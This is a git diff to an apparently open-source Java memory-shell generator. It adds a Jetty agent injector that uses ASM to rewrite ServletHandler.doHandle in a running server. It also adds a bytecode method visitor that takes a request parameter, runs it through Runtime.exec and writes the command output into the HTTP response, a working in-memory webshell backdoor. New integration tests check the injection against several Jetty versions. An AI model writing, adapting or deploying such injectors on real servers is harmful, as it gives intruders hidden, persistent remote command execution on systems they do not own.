diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index a4282222..a48edde1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdv import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.command.*; import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor; import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor; import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.*; @@ -232,6 +233,7 @@ public enum Server { .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class) .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class) + .addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 3cfec4cf..6a1500b3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -26,6 +26,7 @@ public class ShellType { public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM; public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; + public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java index 6a2fc11c..b5c1ef57 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java @@ -1,9 +1,6 @@ package com.reajason.javaweb.memshell.server; -import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector; -import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector; -import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector; -import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector; +import com.reajason.javaweb.memshell.injector.jetty.*; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.implementation.bytecode.assign.Assigner; @@ -43,6 +40,7 @@ public class JettyShell extends AbstractShell { .addInjector(LISTENER, JettyListenerInjector.class) .addInjector(JAKARTA_LISTENER, JettyListenerInjector.class) .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class) + .addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class) .build(); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index 9627825a..3d5db04c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -51,7 +51,11 @@ public class Jetty10ContainerTest { static Stream casesProvider() { Server server = Server.Jetty; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.JETTY_AGENT_HANDLER, + ShellType.JETTY_AGENT_HANDLER_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index 5b95ec90..bf3aad33 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -51,7 +51,10 @@ public class Jetty11ContainerTest { static Stream casesProvider() { Server server = Server.Jetty; - List supportedShellTypes = List.of(ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JETTY_AGENT_HANDLER); + List supportedShellTypes = List.of( + ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, + ShellType.JETTY_AGENT_HANDLER,ShellType.JETTY_AGENT_HANDLER_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index 762267f2..f07290e9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -51,7 +51,9 @@ public class Jetty61ContainerTest { static Stream casesProvider() { Server server = Server.Jetty; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java new file mode 100644 index 00000000..d6d0eaf9 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.Packers; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Slf4j +@Testcontainers +public class Jetty75ContainerTest { + public static final String imageName = "reajason/jetty:7.5.4-jdk6"; + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + Server server = Server.Jetty; + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.JETTY_AGENT_HANDLER, + ShellType.JETTY_AGENT_HANDLER_ASM + ); + List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index 8bf29038..da459c1b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -51,7 +51,11 @@ public class Jetty76ContainerTest { static Stream casesProvider() { Server server = Server.Jetty; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.JETTY_AGENT_HANDLER, + ShellType.JETTY_AGENT_HANDLER_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index 191a03a4..360764bf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -51,7 +51,11 @@ public class Jetty81ContainerTest { static Stream casesProvider() { Server server = Server.Jetty; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.JETTY_AGENT_HANDLER, + ShellType.JETTY_AGENT_HANDLER_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index 7c0f36f0..b9c906a9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -52,7 +52,11 @@ public class Jetty92ContainerTest { static Stream casesProvider() { Server server = Server.Jetty; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.JETTY_AGENT_HANDLER +// ShellType.JETTY_AGENT_HANDLER_ASM // 内置 ASM,但是版本较低 5.0.1, API 不兼容 + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @@ -60,6 +64,7 @@ public class Jetty92ContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index 7d53ff38..9a2e3af2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -51,7 +51,11 @@ public class Jetty93ContainerTest { static Stream casesProvider() { Server server = Server.Jetty; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.JETTY_AGENT_HANDLER, + ShellType.JETTY_AGENT_HANDLER_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 1b17cb2f..37572ada 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -51,7 +51,11 @@ public class Jetty94ContainerTest { static Stream casesProvider() { Server server = Server.Jetty; - List supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER); + List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.JETTY_AGENT_HANDLER, + ShellType.JETTY_AGENT_HANDLER_ASM + ); List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java index 9b133b0d..c86f8d28 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java @@ -54,8 +54,8 @@ public class JettyHandlerAgentInjector implements AgentBuilder.Transformer { .ignore(ElementMatchers.none()) .disableClassFormatChanges() .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) - .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) - .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) .type(named("org.eclipse.jetty.servlet.ServletHandler")) .transform(new JettyHandlerAgentInjector()) .installOn(inst); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentWithAsmInjector.java new file mode 100644 index 00000000..c22f5f5a --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentWithAsmInjector.java @@ -0,0 +1,97 @@ +package com.reajason.javaweb.memshell.injector.jetty; + +import org.objectweb.asm.*; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.lang.reflect.Constructor; +import java.security.ProtectionDomain; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class JettyHandlerAgentWithAsmInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "org/eclipse/jetty/servlet/ServletHandler"; + private static final String TARGET_METHOD_NAME = "doHandle"; + + static Constructor constructor = null; + + static { + try { + Class clazz = Class.forName(getClassName()); + constructor = clazz.getConstructors()[0]; + constructor.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public JettyHandlerAgentWithAsmInjector() { + } + + @Override + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } + } + return bytes; + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return (MethodVisitor) constructor.newInstance(mv, argumentTypes); + } catch (Exception e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new JettyHandlerAgentWithAsmInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + } + } + System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java index 1941d2e8..288cc07d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInitialHandlerAgentWithAsmInjector.java @@ -62,11 +62,9 @@ public class UndertowServletInitialHandlerAgentWithAsmInjector implements ClassF public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); - System.out.println(name); if (TARGET_METHOD_NAME.equals(name)) { try { Type[] argumentTypes = Type.getArgumentTypes(descriptor); - System.out.println(argumentTypes.length); return (MethodVisitor) constructor.newInstance(mv, argumentTypes); } catch (Exception e) { e.printStackTrace(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/jetty/CommandHandlerAsmMethodVisitor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/jetty/CommandHandlerAsmMethodVisitor.java new file mode 100644 index 00000000..191dbd8f --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/jetty/CommandHandlerAsmMethodVisitor.java @@ -0,0 +1,196 @@ +package com.reajason.javaweb.memshell.shelltool.command.jetty; + +import org.objectweb.asm.Label; +import org.objectweb.asm.MethodVisitor; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.Type; + +/** + * @author ReaJason + */ +public class CommandHandlerAsmMethodVisitor extends MethodVisitor { + + private final Type[] argumentTypes; + + public CommandHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argumentTypes; + } + + @Override + public void visitCode() { + super.visitCode(); + + // Calculate the first available local variable index + int startIndex = 1; + for (Type type : argumentTypes) { + startIndex += type.getSize(); + } + + // Explicitly define indices for all local variables + int paramNameIndex = startIndex; + int cmdIndex = startIndex + 1; + int processIndex = startIndex + 2; + int inputStreamIndex = startIndex + 3; + int outputStreamIndex = startIndex + 4; + int bufferIndex = startIndex + 5; + int lengthIndex = startIndex + 6; + int exceptionIndex = startIndex + 7; + + // Access method arguments - adjust based on whether method is static or not + int baseRequestIndex = 2; // Arg index 1 + int requestIndex = 3; // Arg index 2 + int responseIndex = 4; // Arg index 3 + + // Define our parameter name + mv.visitLdcInsn("paramName"); + mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); + + // Define labels for try-catch + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label returnFalseLabel = new Label(); + + // Register the try-catch block + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception"); + + // Start of try block + mv.visitLabel(tryStart); + + // Get the parameter: cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName) + mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param) + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", + "()Ljava/lang/Class;", false); + mv.visitLdcInsn("getParameter"); + mv.visitInsn(Opcodes.ICONST_1); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); + mv.visitInsn(Opcodes.DUP); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); + mv.visitInsn(Opcodes.AASTORE); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", + "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); + + // Invoke the getParameter method + mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object + mv.visitInsn(Opcodes.ICONST_1); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + mv.visitInsn(Opcodes.DUP); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName + mv.visitInsn(Opcodes.AASTORE); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", + "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); + mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); + mv.visitVarInsn(Opcodes.ASTORE, cmdIndex); // Store cmd in local var 4 + + // If cmd == null, return false + mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); + mv.visitJumpInsn(Opcodes.IFNULL, returnFalseLabel); + + // Set baseRequest.setHandled(true) + mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); + mv.visitLdcInsn("setHandled"); + mv.visitInsn(Opcodes.ICONST_1); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); + mv.visitInsn(Opcodes.DUP); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Boolean", "TYPE", "Ljava/lang/Class;"); + mv.visitInsn(Opcodes.AASTORE); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); + mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex); + mv.visitInsn(Opcodes.ICONST_1); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + mv.visitInsn(Opcodes.DUP); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitInsn(Opcodes.ICONST_1); + mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Boolean", "valueOf", "(Z)Ljava/lang/Boolean;", false); + mv.visitInsn(Opcodes.AASTORE); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); + mv.visitInsn(Opcodes.POP); + + // Execute the command: Process exec = Runtime.getRuntime().exec(cmd); + mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitVarInsn(Opcodes.ASTORE, processIndex); + + // Get input stream: InputStream inputStream = exec.getInputStream(); + mv.visitVarInsn(Opcodes.ALOAD, processIndex); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false); + mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); + + // Get response output stream: OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + mv.visitVarInsn(Opcodes.ALOAD, responseIndex); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); + mv.visitLdcInsn("getOutputStream"); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); + mv.visitVarInsn(Opcodes.ALOAD, responseIndex); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); + mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream"); + mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); + + // Create buffer: byte[] buf = new byte[8192]; + mv.visitIntInsn(Opcodes.SIPUSH, 8192); + mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE); + mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); + + // While loop to read and write data + Label loopStart = new Label(); + Label loopEnd = new Label(); + + // Start of loop + mv.visitLabel(loopStart); + + // Read data: inputStream.read(buf) + mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); + mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false); + mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); + + // Check if length == -1 + mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); + mv.visitInsn(Opcodes.ICONST_M1); + mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd); + + // Write data: outputStream.write(buf, 0, length) + mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); + mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); + mv.visitInsn(Opcodes.ICONST_0); + mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([BII)V", false); + + // Go back to start of loop + mv.visitJumpInsn(Opcodes.GOTO, loopStart); + + // End of loop + mv.visitLabel(loopEnd); + + // Return from the method without calling original doFilter + mv.visitInsn(Opcodes.RETURN); + + // If cmd is null, continue with original method + mv.visitLabel(returnFalseLabel); + + // End of try block + mv.visitLabel(tryEnd); + + // Skip catch block if we didn't enter it + Label afterCatch = new Label(); + mv.visitJumpInsn(Opcodes.GOTO, afterCatch); + + // Start of catch block + mv.visitLabel(catchHandler); + // The exception is now on the stack + mv.visitVarInsn(Opcodes.ASTORE, exceptionIndex); // Store exception in local var 10 and discard it + + // End of catch block + mv.visitLabel(afterCatch); + } +} \ No newline at end of file